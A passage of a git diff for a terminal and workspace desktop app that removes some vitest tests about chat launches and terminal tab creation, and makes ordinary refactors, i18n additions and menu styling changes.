-  expect(mocks.answers).toEqual([])
-  expect(begins).toEqual([])
-  expect(layoutApplyTestTransport.pendingCount).toBe(0)
-  expect(
-    warnings.mock.calls.filter(
-      ([message]) => message === '[layout-owner] pending tab waiter threw:'
-    )
-  ).toEqual([])
-  main.close()
-  vi.restoreAllMocks()
-  owner.store = null
-})
-
-function launchChat(args: Parameters<typeof beginStructuredAgentSessionProvisionalLaunch>[0]) {
-  const launch = beginStructuredAgentSessionProvisionalLaunch(args)
-  if (!launch) {
-    throw new Error('Expected admitted launch handle')
-  }
-  const entry = { launch, done: false }
-  owned.push(entry)
-  void launch.settlement.then(() => {
-    entry.done = true
-  })
-  return launch
-}
-
-async function finishChat(launch: NonNullable<ReturnType<typeof launchChat>>): Promise<void> {
-  const begin = begins.pop()!
-  begin.finish()
-  await expect(launch.settlement).resolves.toEqual({ kind: 'structured', sessionId: 'claude_1' })
-  await main.settle()
-  expect(begin.cancel).not.toHaveBeenCalled()
-  const tab = owner
-    .store!.getState()
-    .unifiedTabsByWorktree['wt-1']?.find((row) => row.entityId === 'claude_1')
-  expect(tab).toBeDefined()
-  expect(owner.store!.getState().getTab(tab!.id)).toBe(tab)
-  expect(isPendingTab(tab!.id)).toBe(false)
-  expect(isEmptyWorkspaceDefaultSurfacePending('wt-1')).toBe(false)
-}
-
-/** No shell created here or (switch-on) asked of main. */
-function expectNoShell(): void {
-  expect(mocks.createTab).not.toHaveBeenCalled()
-  expect(layoutApplyTestTransport.sentOfType('createTerminalTab')).toEqual([])
-}
-
-/** Observe the original create/open request count; finishChat verifies the actual drawn row. */
-async function expectChatOpenedOnce(): Promise<void> {
-  if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-    await layoutApplyTestTransport.settle()
-    expect(layoutApplyTestTransport.sentOfType('openAgentSessionTab')).toEqual([
-      expect.objectContaining({ workspace: 'wt-1', sessionId: 'claude_1' })
-    ])
-    expect(mocks.createUnifiedTab).not.toHaveBeenCalled()
-    return
-  }
-  expect(mocks.createUnifiedTab).toHaveBeenCalledOnce()
-}
-
-function Watcher(): null {
-  useTerminalWatcherEffects({
-    activeWorktreeId: 'wt-1',
-    workspaceSessionReady: true,
-    terminalStartupRestorationReady: true,
-    hydrationSucceeded: false,
-    workspaceSurfaceIds: [],
-    workspaceSurfaceIdSet: new Set(),
-    tabsByWorktree: {},
-    createTab: mocks.createTab,
-    reconcileWorktreeTabModel: () => ({ renderableTabCount: 0, activeRenderableTabId: null }),
-    activationDeferredMountTabIdsByWorktreeRef: { current: new Map() },
-    activeTabId: null,
-    activeTabIdByWorktree: {},
-    activeView: 'terminal',
-    activityTerminalPortals: [],
-    anyMountedWorktreeHasLayout: false,
-    backgroundMountRevision: 0,
-    effectiveParkedTerminalWorktreeIds: new Set(),
-    evictionExemptTerminalTabIds: new Set(),
-    getEffectiveLayoutForWorktree: () => undefined,
-    groupsByWorktree: {},
-    measurableBackgroundWorktreeIdsRef: { current: new Set() },
-    mountedWorktreeIdsRef: { current: new Set() },
-    pairedRuntimeParkingEnvironmentIds: new Set(),
-    pendingStartupByTabId: {},
-    renderedActiveWorktreeId: 'wt-1',
-    startupTerminalTabHold: null,
-    terminalParkingEnabled: false,
-    terminalProviderSnapshotCapabilityRevision: 0,
-    terminalSshParkingEnabled: false,
-    terminalTitleSnapshotAuthorityEnabled: false
-  })
-  return null
-}
-
-function localChatPlan(): AgentSessionLaunchPlan {
-  mocks.begin.mockImplementation(() => {
-    const result = Promise.withResolvers<StructuredAgentLaunchSettlement>()
-    const cancel = vi.fn()
-    begins.push({
-      finish: () => result.resolve({ kind: 'structured', sessionId: 'claude_1' }),
-      cancel
-    })
-    return { sessionId: 'claude_1', executionHostId: 'local', settlement: result.promise, cancel }
-  })
-  return {
-    route: 'structured-native-chat',
-    requestId: 'request-1',
-    agent: 'claude',
-    worktreeId: 'wt-1',
-    executionHostId: 'local',
-    begin: mocks.begin,
-    launch: vi.fn()
-  }
-}
-
-function gateAnsweredLater(): {
-  gate: Promise<'empty'>
-  finish: () => void
-} {
-  let finish!: () => void
-  const gate = new Promise<'empty'>((resolve) => {
-    finish = () => resolve('empty')
-  })
-  mocks.gate.mockReturnValue(gate)
-  return { gate, finish }
-}
-
-// While admission waits, no launch record exists yet; passive seeding must not add Terminal 1 beside the chat.
-describe('a local chat launch waiting on its host', () => {
-  it('keeps a watched create free of a stray shell until its chat opens', async () => {
-    const { finish } = gateAnsweredLater()
-    const launch = launchChat({
-      plan: localChatPlan(),
-      hooks: {},
-      beforeOpen: () => true
-    })
-    expect(isEmptyWorkspaceDefaultSurfacePending('wt-1')).toBe(true)
-
-    root = createRoot(document.createElement('div'))
-    await act(async () => root?.render(createElement(Watcher)))
-    await act(async () => finish())
-    expectNoShell()
-
-    await act(async () => mocks.answers[0]?.({ supported: true }))
-    await expectChatOpenedOnce()
-    expectNoShell()
-    await finishChat(launch)
-  })
-
-  it("keeps an empty workspace's default chat free of a shell seeded by the shared gate", async () => {
-    const { gate, finish } = gateAnsweredLater()
-    const pendingLaunch = gate.then(() => launchChat({ plan: localChatPlan(), hooks: {} }))
-    root = createRoot(document.createElement('div'))
-    await act(async () => root?.render(createElement(Watcher)))
-    await act(async () => finish())
-    expect(mocks.begin).not.toHaveBeenCalled()
-    expectNoShell()
-
-    await act(async () => mocks.answers[0]?.({ supported: true }))
-    await expectChatOpenedOnce()
-    expectNoShell()
-    await finishChat(await pendingLaunch)
-  })
-})
diff --git a/src/renderer/src/components/terminal/terminal-tab-actions.ts b/src/renderer/src/components/terminal/terminal-tab-actions.ts
index fb46571953a..9dde647cae2 100644
--- a/src/renderer/src/components/terminal/terminal-tab-actions.ts
+++ b/src/renderer/src/components/terminal/terminal-tab-actions.ts
@@ -1,3 +1,7 @@
+import {
+  getTerminalNoticeLifetime,
+  retireTerminalNoticeLifetime
+} from '../terminal-pane/provider-notices/terminal-notice-lifetime'
 import { useAppStore } from '@/store'
 import { closeWebRuntimeSessionTab } from '@/runtime/web-session-tabs-sync/actions/web-runtime-session-tab-lifecycle'
 import { isWebRuntimeSessionActive } from '@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment'
@@ -219,6 +223,11 @@ export function closeTerminalTab(tabId: string, options: CloseTerminalTabOptions
     }
   }
 
+  // Proven lifecycle callers retain the old address after pane exit cleared its layout binding.
+  const exitedNotice =
+    storeReason === 'pty-exit' && options.lifecyclePtyId
+      ? getTerminalNoticeLifetime(options.lifecyclePtyId)
+      : undefined
   closeLocalTerminalTabState(terminalTabId, {
     reason: storeReason,
     ...(options?.captureRecentlyClosed !== undefined
@@ -230,6 +239,9 @@ export function closeTerminalTab(tabId: string, options: CloseTerminalTabOptions
       ? { precomputedRetirementPlan: options.precomputedRetirementPlan }
       : {})
   })
+  if (exitedNotice) {
+    retireTerminalNoticeLifetime(exitedNotice)
+  }
   if (
     !options?.preserveWorktreeSelection &&
     terminalCountBeforeClose <= 1 &&
diff --git a/src/renderer/src/components/terminal/terminal-worktree-prewarm-targets.ts b/src/renderer/src/components/terminal/terminal-worktree-prewarm-targets.ts
index eb7c00b6f61..83f20f59c53 100644
--- a/src/renderer/src/components/terminal/terminal-worktree-prewarm-targets.ts
+++ b/src/renderer/src/components/terminal/terminal-worktree-prewarm-targets.ts
@@ -1,9 +1,9 @@
 import { sleepingAgentRecordIndex } from '@/store/terminals/sleeping-agent-record-index'
-import type { AppState } from '@/store/types'
-import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
-import { getSleepingRecordTabId } from '@/lib/sleeping-agent-wake-requests'
+import { getSleepingRecordTabId } from '@/lib/agent-session/resume/sleeping-agent-wake-requests'
 import '../terminal-pane/parking/output-watchers/terminal-parked-tab-watchers'
 import { parkedTerminalTabCoverage } from '../terminal-pane/parking/output-watchers/parked-terminal-tab-coverage'
+import type { AppState } from '@/store/types'
+import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
 
 export function selectRevealTerminalTabIds(state: AppState, worktreeId: string): Set<string> {
   const revealTabIds = new Set<string>()
diff --git a/src/renderer/src/components/ui/command.tsx b/src/renderer/src/components/ui/command.tsx
index 15766ae9769..1443577a749 100644
--- a/src/renderer/src/components/ui/command.tsx
+++ b/src/renderer/src/components/ui/command.tsx
@@ -10,6 +10,7 @@ import { cn } from '@/lib/class-names'
 import { handleOverlayCloseAutoFocus } from '@/lib/overlay-interaction/overlay-focus-ownership'
 import { getWheelScrollDeltaY } from '@/lib/wheel-scroll-delta'
 import { OverlayFocusScope, useOverlayFocusScope } from './use-overlay-focus-scope'
+import { useTranslate } from '@/i18n/use-translate'
 import { handleImeOverlayEscape } from '@/lib/text-input/ime/ime-overlay-escape'
 import { useImeTextFieldProps } from '@/lib/text-input/ime/ime-text-field'
 import { DialogOverlay } from '@/components/ui/dialog'
@@ -55,8 +56,8 @@ function Command({
 
 function CommandDialog({
   children,
-  title = 'Command Palette',
-  description = 'Search for a command to run...',
+  title,
+  description,
   shouldFilter,
   onOpenAutoFocus,
   onCloseAutoFocus,
@@ -77,6 +78,7 @@ function CommandDialog({
   surface?: 'default' | 'palette'
   commandProps?: React.ComponentProps<typeof CommandPrimitive>
 }) {
+  const t = useTranslate()
   const { ref: focusScopeRef, scope } = useOverlayFocusScope()
   const { className: commandClassName, ...commandRootProps } = commandProps ?? {}
 
@@ -99,9 +101,15 @@ function CommandDialog({
             onOpenAutoFocus={onOpenAutoFocus}
             onCloseAutoFocus={(event) => handleOverlayCloseAutoFocus(event, onCloseAutoFocus)}
           >
-            <DialogPrimitive.Title className="sr-only">{title}</DialogPrimitive.Title>
+            <DialogPrimitive.Title className="sr-only">
+              {title ?? t('auto.components.ui.command.paletteTitle', 'Command Palette')}
+            </DialogPrimitive.Title>
             <DialogPrimitive.Description className="sr-only">
-              {description}
+              {description ??
+                t(
+                  'auto.components.ui.command.paletteDescription',
+                  'Search for a command to run...'
+                )}
             </DialogPrimitive.Description>
             <Command
               shouldFilter={shouldFilter}
diff --git a/src/renderer/src/components/ui/context-menu.tsx b/src/renderer/src/components/ui/context-menu.tsx
index 0fec8ff2c7d..0279a8b729c 100644
--- a/src/renderer/src/components/ui/context-menu.tsx
+++ b/src/renderer/src/components/ui/context-menu.tsx
@@ -44,7 +44,7 @@ function ContextMenuSubTrigger({
       data-slot="context-menu-sub-trigger"
       data-inset={inset}
       className={cn(
-        "flex cursor-default items-center gap-2 rounded-md px-2.5 py-1 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[inset]:pl-8 data-[state=open]:bg-black/8 dark:data-[state=open]:bg-white/14 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-muted-foreground",
+        "flex cursor-default items-center gap-2 rounded-md px-2.5 py-[5px] text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[inset]:pl-8 data-[state=open]:bg-black/8 dark:data-[state=open]:bg-white/14 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-[15px] [&_svg:not([class*='text-'])]:text-muted-foreground [&_svg]:stroke-[1.5]",
         className
       )}
       {...props}
@@ -151,7 +151,7 @@ function ContextMenuItem({
       data-inset={inset}
       data-variant={variant}
       className={cn(
-        "relative flex cursor-default items-center gap-2 rounded-md px-2.5 py-1 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 data-[inset]:pl-8 data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 data-[variant=destructive]:focus:text-destructive dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-muted-foreground data-[variant=destructive]:*:[svg]:text-destructive!",
+        "relative flex cursor-default items-center gap-2 rounded-md px-2.5 py-[5px] text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 data-[inset]:pl-8 data-[variant=destructive]:text-[color-mix(in_srgb,var(--destructive)_78%,black)] dark:data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-[15px] [&_svg:not([class*='text-'])]:text-muted-foreground [&_svg]:stroke-[1.5] data-[variant=destructive]:*:[svg]:text-current!",
         className
       )}
       onPointerMove={keepFocusWhileMenuCloses(onPointerMove)}
@@ -170,7 +170,7 @@ function ContextMenuRadioItem({
     <ContextMenuPrimitive.RadioItem
       data-slot="context-menu-radio-item"
       className={cn(
-        "relative flex cursor-default items-center gap-2 rounded-md py-1 pr-2.5 pl-8 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+        "relative flex cursor-default items-center gap-2 rounded-md py-[5px] pr-2.5 pl-8 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
         className
       )}
       {...props}
@@ -212,7 +212,7 @@ function ContextMenuSeparator({
   return (
     <ContextMenuPrimitive.Separator
       data-slot="context-menu-separator"
-      className={cn('mx-2.5 my-[5px] h-px bg-black/10 dark:bg-white/12', className)}
+      className={cn('-mx-[6px] my-[6px] h-px bg-black/7 dark:bg-white/10', className)}
       {...props}
     />
   )
diff --git a/src/renderer/src/components/ui/dropdown-menu.tsx b/src/renderer/src/components/ui/dropdown-menu.tsx
index 327ad730653..7e8be2f5471 100644
--- a/src/renderer/src/components/ui/dropdown-menu.tsx
+++ b/src/renderer/src/components/ui/dropdown-menu.tsx
@@ -115,7 +115,7 @@ function DropdownMenuItem({
       data-inset={inset}
       data-variant={variant}
       className={cn(
-        "relative flex cursor-default items-center gap-2 rounded-md px-2.5 py-1 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[search-default]:bg-black/8 dark:data-[search-default]:bg-white/14 data-[context-menu-open]:bg-black/8 dark:data-[context-menu-open]:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 aria-disabled:opacity-40 data-[inset]:pl-8 data-[current=true]:bg-accent data-[current=true]:data-[disabled]:opacity-100 data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 data-[variant=destructive]:focus:text-destructive dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-muted-foreground data-[variant=destructive]:*:[svg]:text-destructive! data-[variant=launch]:rounded-[7px] data-[variant=launch]:px-2 data-[variant=launch]:py-1 data-[variant=launch]:text-[12px] data-[variant=launch]:leading-4 data-[variant=launch]:font-medium",
+        "relative flex cursor-default items-center gap-2 rounded-md px-2.5 py-[5px] text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[search-default]:bg-black/8 dark:data-[search-default]:bg-white/14 data-[context-menu-open]:bg-black/8 dark:data-[context-menu-open]:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 aria-disabled:opacity-40 data-[inset]:pl-8 data-[current=true]:bg-accent data-[current=true]:data-[disabled]:opacity-100 data-[variant=destructive]:text-[color-mix(in_srgb,var(--destructive)_78%,black)] dark:data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-[15px] [&_svg:not([class*='text-'])]:text-muted-foreground [&_svg]:stroke-[1.5] data-[variant=destructive]:*:[svg]:text-current! data-[variant=launch]:rounded-[7px] data-[variant=launch]:px-2 data-[variant=launch]:py-1 data-[variant=launch]:text-[12px] data-[variant=launch]:leading-4 data-[variant=launch]:font-medium",
         className
       )}
       onPointerMove={keepFocusWhileMenuCloses(onPointerMove)}
@@ -135,7 +135,7 @@ function DropdownMenuCheckboxItem({
     <DropdownMenuPrimitive.CheckboxItem
       data-slot="dropdown-menu-checkbox-item"
       className={cn(
-        "relative flex cursor-default items-center gap-2 rounded-md py-1 pr-2.5 pl-8 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+        "relative flex cursor-default items-center gap-2 rounded-md py-[5px] pr-2.5 pl-8 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
         className
       )}
       checked={checked}
@@ -166,7 +166,7 @@ function DropdownMenuRadioItem({
     <DropdownMenuPrimitive.RadioItem
       data-slot="dropdown-menu-radio-item"
       className={cn(
-        "relative flex cursor-default items-center gap-2 rounded-md py-1 pr-2.5 pl-8 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+        "relative flex cursor-default items-center gap-2 rounded-md py-[5px] pr-2.5 pl-8 text-[13px] leading-4 font-normal outline-hidden select-none focus:bg-black/8 dark:focus:bg-white/14 data-[disabled]:pointer-events-none data-[disabled]:opacity-40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
         className
       )}
       {...props}
@@ -208,7 +208,7 @@ function DropdownMenuSeparator({
   return (
     <DropdownMenuPrimitive.Separator
       data-slot="dropdown-menu-separator"
-      className={cn('mx-2.5 my-[5px] h-px bg-black/10 dark:bg-white/12', className)}
+      className={cn('-mx-[6px] my-[6px] h-px bg-black/7 dark:bg-white/10', className)}
       {...props}
     />
   )
@@ -232,7 +232,7 @@ function DropdownMenuSub({ ...props }: React.ComponentProps<typeof DropdownMenuP
 }
 
 const dropdownMenuSubTriggerVariants = cva(
-  "flex cursor-default items-center gap-2 rounded-md px-2.5 py-1 text-[13px] leading-4 font-normal outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-muted-foreground",
+  "flex cursor-default items-center gap-2 rounded-md px-2.5 py-[5px] text-[13px] leading-4 font-normal outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-[15px] [&_svg:not([class*='text-'])]:text-muted-foreground [&_svg]:stroke-[1.5]",
   {
     variants: {
       variant: {
diff --git a/src/renderer/src/components/ui/menu-surface.ts b/src/renderer/src/components/ui/menu-surface.ts
index 67678ec89a7..4e3e1f0ab0f 100644
--- a/src/renderer/src/components/ui/menu-surface.ts
+++ b/src/renderer/src/components/ui/menu-surface.ts
@@ -1,3 +1,3 @@
-/** Glass over the theme's --popover, so plugin themes tint every menu; solid where blur is off. */
+/** Solid --popover so plugin themes tint every menu; blur let busy content muddy the rows. */
 export const MENU_SURFACE_CLASS =
-  'rounded-[11px] border border-black/10 bg-popover/78 p-[4px] text-popover-foreground shadow-[0_6px_16px_rgba(0,0,0,0.14),inset_0_1px_0_rgba(255,255,255,0.14)] backdrop-blur-xl backdrop-saturate-150 supports-[not_(backdrop-filter:blur(1px))]:bg-popover dark:supports-[not_(backdrop-filter:blur(1px))]:bg-popover reduce-effects:bg-popover dark:reduce-effects:bg-popover dark:border-black/60 dark:bg-popover/75 dark:shadow-[0_16px_34px_rgba(0,0,0,0.40),inset_0_0_0_1px_rgba(255,255,255,0.12)]'
+  'rounded-[12px] border border-black/7 bg-popover p-[6px] text-popover-foreground shadow-[0_1px_2px_rgba(0,0,0,0.04),0_8px_24px_rgba(0,0,0,0.08)] dark:border-white/9 dark:shadow-[0_12px_32px_rgba(0,0,0,0.45)]'
diff --git a/src/renderer/src/components/ui/repo-multi-combobox.tsx b/src/renderer/src/components/ui/repo-multi-combobox.tsx
index 6b539ac361c..506ce614e09 100644
--- a/src/renderer/src/components/ui/repo-multi-combobox.tsx
+++ b/src/renderer/src/components/ui/repo-multi-combobox.tsx
@@ -9,7 +9,7 @@ import {
   CommandList
 } from '@/components/ui/command'
 import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
-import { searchRepos } from '@/lib/repo-search'
+import { searchRepos } from '@/lib/workspace/catalog/repo-search'
 import { cn } from '@/lib/class-names'
 import type { Repo } from '../../../../shared/repo-types'
 import RepoBadgeLabel from '@/components/repo/RepoBadgeLabel'
diff --git a/src/renderer/src/components/ui/sonner.tsx b/src/renderer/src/components/ui/sonner.tsx
index 77ab112c5fe..d2d792d2bbe 100644
--- a/src/renderer/src/components/ui/sonner.tsx
+++ b/src/renderer/src/components/ui/sonner.tsx
@@ -12,8 +12,8 @@ import { MODAL_OVERLAY_CHILD_SELECTOR } from '@/lib/body-overlay-attributes'
 import {
   NOTIFICATION_CARD_STACK_BOTTOM,
   NOTIFICATION_CARD_STACK_HEIGHT_VAR
-} from '@/lib/notification-card-stack-height'
-import { useNotificationCardLayoutVarReader } from '@/lib/notification-card-layout-vars'
+} from '@/lib/notifications/notification-card-stack-height'
+import { useNotificationCardLayoutVarReader } from '@/lib/notifications/notification-card-layout-vars'
 import { useToasterModalLayer } from './toaster-modal-layer'
 
 // Why: a short outcome reads best with its action beside it; the toaster's default wraps actions below.
diff --git a/src/renderer/src/components/use-google-cookie-clear.ts b/src/renderer/src/components/use-google-cookie-clear.ts
index b2747d93341..c3bba586225 100644
--- a/src/renderer/src/components/use-google-cookie-clear.ts
+++ b/src/renderer/src/components/use-google-cookie-clear.ts
@@ -9,6 +9,7 @@ import {
   confirmAndClearGoogleCookies
 } from '@/lib/browser/cookies/browser-google-cookie-clear'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 
 export function useGoogleCookieClear(hostId: ExecutionHostId, profileId: string, label?: string) {
@@ -111,7 +112,12 @@ export function useGoogleCookieClear(hostId: ExecutionHostId, profileId: string,
         t(
           'browser.googleCookieClear.unverified',
           "Couldn't check {{profile}}'s Google cookies. Try again.",
-          { profile: label || (profileId === 'default' ? 'Default' : 'Browser profile') }
+          {
+            profile: translateBrowserSessionProfileLabel(
+              label || (profileId === 'default' ? 'Default' : 'Browser profile'),
+              profileId
+            )
+          }
         )
       )
     } finally {
diff --git a/src/renderer/src/components/use-terminal-bulk-close-actions.ts b/src/renderer/src/components/use-terminal-bulk-close-actions.ts
index 28cec45fc9b..464bd903edd 100644
--- a/src/renderer/src/components/use-terminal-bulk-close-actions.ts
+++ b/src/renderer/src/components/use-terminal-bulk-close-actions.ts
@@ -1,4 +1,5 @@
 import { useCallback } from 'react'
+import { hasUnsentBrowserNotes } from '@/store/slices/browser/annotations/browser-page-annotation'
 import { useAppStore } from '../store'
 import { editorTabsNeedingSavePrompt } from '@/store/slices/editor/tabs/editor-tab-close-target'
 import { isEditorTabContentType } from '@/store/slices/editor/tabs/editor-tab-content-type'
@@ -46,7 +47,12 @@ export function useTerminalBulkCloseActions(
         .map((tab) => tab.id)
       for (const id of tabIds) {
         const unifiedTab = byId.get(id) ?? byEntity.get(id)
-        if (unifiedTab?.isPinned) {
+        // Bulk closes keep pinned tabs and tabs holding unsent browser notes open.
+        if (
+          unifiedTab?.isPinned ||
+          (unifiedTab?.contentType === 'browser' &&
+            hasUnsentBrowserNotes(state, unifiedTab.entityId))
+        ) {
           continue
         }
         if (unifiedTab && isEditorTabContentType(unifiedTab.contentType)) {
diff --git a/src/renderer/src/components/use-terminal-create-actions.test.tsx b/src/renderer/src/components/use-terminal-create-actions.test.tsx
deleted file mode 100644
index 2f04d4c5d53..00000000000
--- a/src/renderer/src/components/use-terminal-create-actions.test.tsx
+++ /dev/null
@@ -1,131 +0,0 @@
-// @vitest-environment happy-dom
-
-import { renderHook } from '@testing-library/react'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { ClientCreationActionAvailability } from '@/lib/client-creation-action-policy'
-import { useTerminalCreateActions } from './use-terminal-create-actions'
-import type { TerminalColdActivationController } from './terminal-cold-activation'
-
-const mocks = vi.hoisted(() => ({
-  browserAvailability: {
-    state: 'enabled',
-    provider: 'local-client'
-  } as ClientCreationActionAvailability,
-  simulatorAvailability: {
-    state: 'enabled',
-    provider: 'local-client'
-  } as ClientCreationActionAvailability,
-  state: {} as Record<string, unknown>,
-  toastError: vi.fn(),
-  createBrowserTab: vi.fn(),
-  createTab: vi.fn(),
-  openNewBrowserTabInActiveWorkspace: vi.fn(),
-  openMobileEmulatorTab: vi.fn()
-}))
-
-vi.mock('../store', () => ({ useAppStore: { getState: () => mocks.state } }))
-vi.mock('sonner', () => ({
-  toast: { error: (...args: unknown[]) => mocks.toastError(...args), message: vi.fn() }
-}))
-vi.mock('@/lib/client-creation-action-policy', () => ({
-  getClientCreationActionPolicy: () => ({
-    'managed-browser': mocks.browserAvailability,
-    'mobile-emulator': mocks.simulatorAvailability
-  })
-}))
-vi.mock('@/components/terminal-pane/input/focus/focus-terminal-tab-surface', () => ({
-  focusTerminalTabSurface: vi.fn()
-}))
-vi.mock('@/runtime/browser/creation/web-runtime-browser-creation', () => ({
-  createWebRuntimeSessionBrowserTab: vi.fn()
-}))
-vi.mock('@/runtime/hosted-terminals/creation/web-runtime-terminal-creation', () => ({
-  createWebRuntimeSessionTerminal: vi.fn()
-}))
-vi.mock('@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment', () => ({
-  isWebRuntimeSessionActive: () => false
-}))
-vi.mock('@/lib/simulator/launch/open-mobile-emulator-tab', () => ({
-  openMobileEmulatorTab: (...args: unknown[]) => mocks.openMobileEmulatorTab(...args)
-}))
-vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', () => ({
-  launchAgentInNewTab: vi.fn()
-}))
-vi.mock('@/lib/duplicate-browser-tab-options', () => ({
-  buildDuplicatedBrowserTabOptions: () => ({})
-}))
-vi.mock('@/runtime/browser/ownership/remote-browser-tab-ownership', () => ({
-  browserWorkspaceHasRemoteOwner: () => false
-}))
-vi.mock('./tab-bar/tab-create-entry-action', () => ({ openTabBarEntry: vi.fn() }))
-vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback }))
-vi.mock('./terminal-workspace-model', () => ({
-  getActiveWorktreeRuntimeEnvironmentId: () => null
-}))
-
-const WORKTREE_ID = 'repo-1::/repo/worktree'
-
-function renderActions() {
-  return renderHook(() =>
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the hook reads only these controller fields.
-    useTerminalCreateActions({
-      activeWorktreeId: WORKTREE_ID,
-      createBrowserTab: mocks.createBrowserTab,
-      createTab: mocks.createTab,
-      openNewBrowserTabInActiveWorkspace: mocks.openNewBrowserTabInActiveWorkspace,
-      openNewMarkdownInActiveWorkspace: vi.fn(),
-      openNewTerminalTabInActiveWorkspace: vi.fn(),
-      setActiveTabType: vi.fn()
-    } as unknown as TerminalColdActivationController)
-  ).result.current
-}
-
-describe('useTerminalCreateActions creation gates', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mocks.browserAvailability = { state: 'enabled', provider: 'local-client' }
-    mocks.simulatorAvailability = { state: 'enabled', provider: 'local-client' }
-    mocks.state = {
-      activeGroupIdByWorktree: {},
-      groupsByWorktree: {},
-      browserDefaultUrl: 'about:blank',
-      browserTabsByWorktree: { [WORKTREE_ID]: [{ id: 'browser-1', url: 'https://example.com' }] }
-    }
-  })
-
-  it('reports a rejected workspace browser open instead of leaving it unhandled', async () => {
-    mocks.state.activeGroupIdByWorktree = { [WORKTREE_ID]: 'group-1' }
-    mocks.openNewBrowserTabInActiveWorkspace.mockRejectedValue(new Error('runtime says no'))
-    const unhandled = vi.fn()
-    process.on('unhandledRejection', unhandled)
-    renderActions().handleNewBrowserTab()
-    await new Promise((resolve) => setTimeout(resolve, 0))
-    process.off('unhandledRejection', unhandled)
-    expect(mocks.toastError).toHaveBeenCalledWith('runtime says no')
-    expect(unhandled).not.toHaveBeenCalled()
-  })
-
-  it('appends a shell-override terminal to the saved order, dropping repeated ids', () => {
-    const setTabBarOrder = vi.fn()
-    const terminals = [{ id: 'term-a' }]
-    mocks.state = {
-      ...mocks.state,
-      tabsByWorktree: { [WORKTREE_ID]: terminals },
-      unifiedTabsByWorktree: {},
-      openFiles: [],
-      tabBarOrderByWorktree: { [WORKTREE_ID]: ['browser-1', 'term-a', 'browser-1'] },
-      setTabBarOrder
-    }
-    mocks.createTab.mockImplementation(
-      (_worktreeId: string, _groupId: undefined, _shell: string, options: { id: string }) => {
-        terminals.push({ id: options.id })
-      }
-    )
-    renderActions().handleNewTab('/bin/zsh')
-    expect(mocks.createTab).toHaveBeenCalledWith(WORKTREE_ID, undefined, '/bin/zsh', {
-      id: expect.any(String)
-    })
